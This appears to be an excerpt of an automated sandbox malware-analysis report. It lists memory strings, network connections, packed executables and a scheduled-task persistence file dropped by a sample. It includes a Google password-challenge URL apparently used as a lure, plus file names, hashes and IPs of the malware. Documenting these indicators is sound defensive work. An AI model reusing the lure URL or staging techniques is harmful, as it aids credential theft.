Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.2795971975.0000001237D7C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001A.00000002.2854529746.0000014D58467000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001A.00000002.2804563025.0000014D506E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D556B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2836217561.0000014D56517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2819191173.0000014D54B3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: file.exe, 00000000.00000003.2226516704.00000000053DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cm
Source: firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803840467.0000014D505AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2836217561.0000014D56517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2819191173.0000014D54B3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 0000001A.00000002.2849808862.0000014D574AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806034129.0000014D5121A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DAB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001A.00000002.2862333210.0000014D5D434000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2849808862.0000014D574DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2854529746.0000014D584BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803840467.0000014D505AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2850461327.0000014D575B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D54819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D552F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D580000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D55987000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2832616039.0000014D56273000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2801575464.0000014D44D6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D662000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2801099409.0000014D44B30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000018.00000002.2668586747.000001FE6AEAF000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2676143474.000001F074A79000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2801394210.0000014D44BB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001A.00000002.2802302794.0000014D46A9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPOR
Source: firefox.exe, 0000001A.00000002.2802302794.0000014D469D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2811968584.0000014D52703000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001A.00000002.2801575464.0000014D44D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdt

Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50115 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50122 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 2155b53b29.exe, 0000000D.00000000.2625523027.0000000000F42000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_d4e92c23-0
Source: 2155b53b29.exe, 0000000D.00000000.2625523027.0000000000F42000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_9b8d367a-1

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr	Static PE information: section name:
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr	Static PE information: section name: .idata
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr	Static PE information: section name:
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr	Static PE information: section name:
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr	Static PE information: section name: .rsrc
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr	Static PE information: section name: .idata
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr	Static PE information: section name:
Source: A77BGJTTW6SX9ESX.exe.0.dr	Static PE information: section name:
Source: A77BGJTTW6SX9ESX.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .rsrc
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: dbec6bb1cf.exe.5.dr	Static PE information: section name:
Source: dbec6bb1cf.exe.5.dr	Static PE information: section name: .rsrc
Source: dbec6bb1cf.exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: de379087e7.exe.5.dr	Static PE information: section name:
Source: de379087e7.exe.5.dr	Static PE information: section name: .rsrc
Source: de379087e7.exe.5.dr	Static PE information: section name: .idata
Source: de379087e7.exe.5.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7A8BE	0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7A8BE	0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7A8BE	0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7A8BE	0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7A8BE	0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7A8BE	0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7A8BE	0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7A8BE	0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7A8BE	0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7A8BE	0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7A8BE	0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7A8BE	0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7A8BE	0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7A8BE	0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7A8BE	0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7A8BE	0_3_00B7A8BE
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 9_2_004B0228	9_2_004B0228
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 9_2_004AA850	9_2_004AA850
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 9_2_004B2030	9_2_004B2030
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 9_2_004EA0D0	9_2_004EA0D0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 9_2_004DE8A0	9_2_004DE8A0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 9_2_004AE1A0	9_2_004AE1A0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 9_2_004E4A40	9_2_004E4A40
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 9_2_004CC470	9_2_004CC470
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 9_2_004CCCD0	9_2_004CCCD0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 9_2_004B4487	9_2_004B4487
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 9_2_004B049B	9_2_004B049B
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 9_2_004A7CA4	9_2_004A7CA4
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 9_2_004CFD10	9_2_004CFD10
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 9_2_004BC5F0	9_2_004BC5F0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 9_2_004A8590	9_2_004A8590
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 9_2_004A35B0	9_2_004A35B0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 9_2_004B6EBF	9_2_004B6EBF
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 9_2_004ABEB0	9_2_004ABEB0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 9_2_004AAF10	9_2_004AAF10

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe 27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D

Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe

Code function: String function: 004BD300 appears 47 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9991426877062707
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982597496594006
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr	Static PE information: Section: wcmebtxw ZLIB complexity 0.9944089114010989
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr	Static PE information: Section: xfniszhi ZLIB complexity 0.9947508271496328
Source: skotes.exe.3.dr	Static PE information: Section: ZLIB complexity 0.9982597496594006
Source: skotes.exe.3.dr	Static PE information: Section: wcmebtxw ZLIB complexity 0.9944089114010989
Source: random[1].exe.5.dr	Static PE information: Section: ZLIB complexity 0.9991426877062707
Source: dbec6bb1cf.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9991426877062707
Source: random[1].exe0.5.dr	Static PE information: Section: xfniszhi ZLIB complexity 0.9947508271496328
Source: de379087e7.exe.5.dr	Static PE information: Section: xfniszhi ZLIB complexity 0.9947508271496328

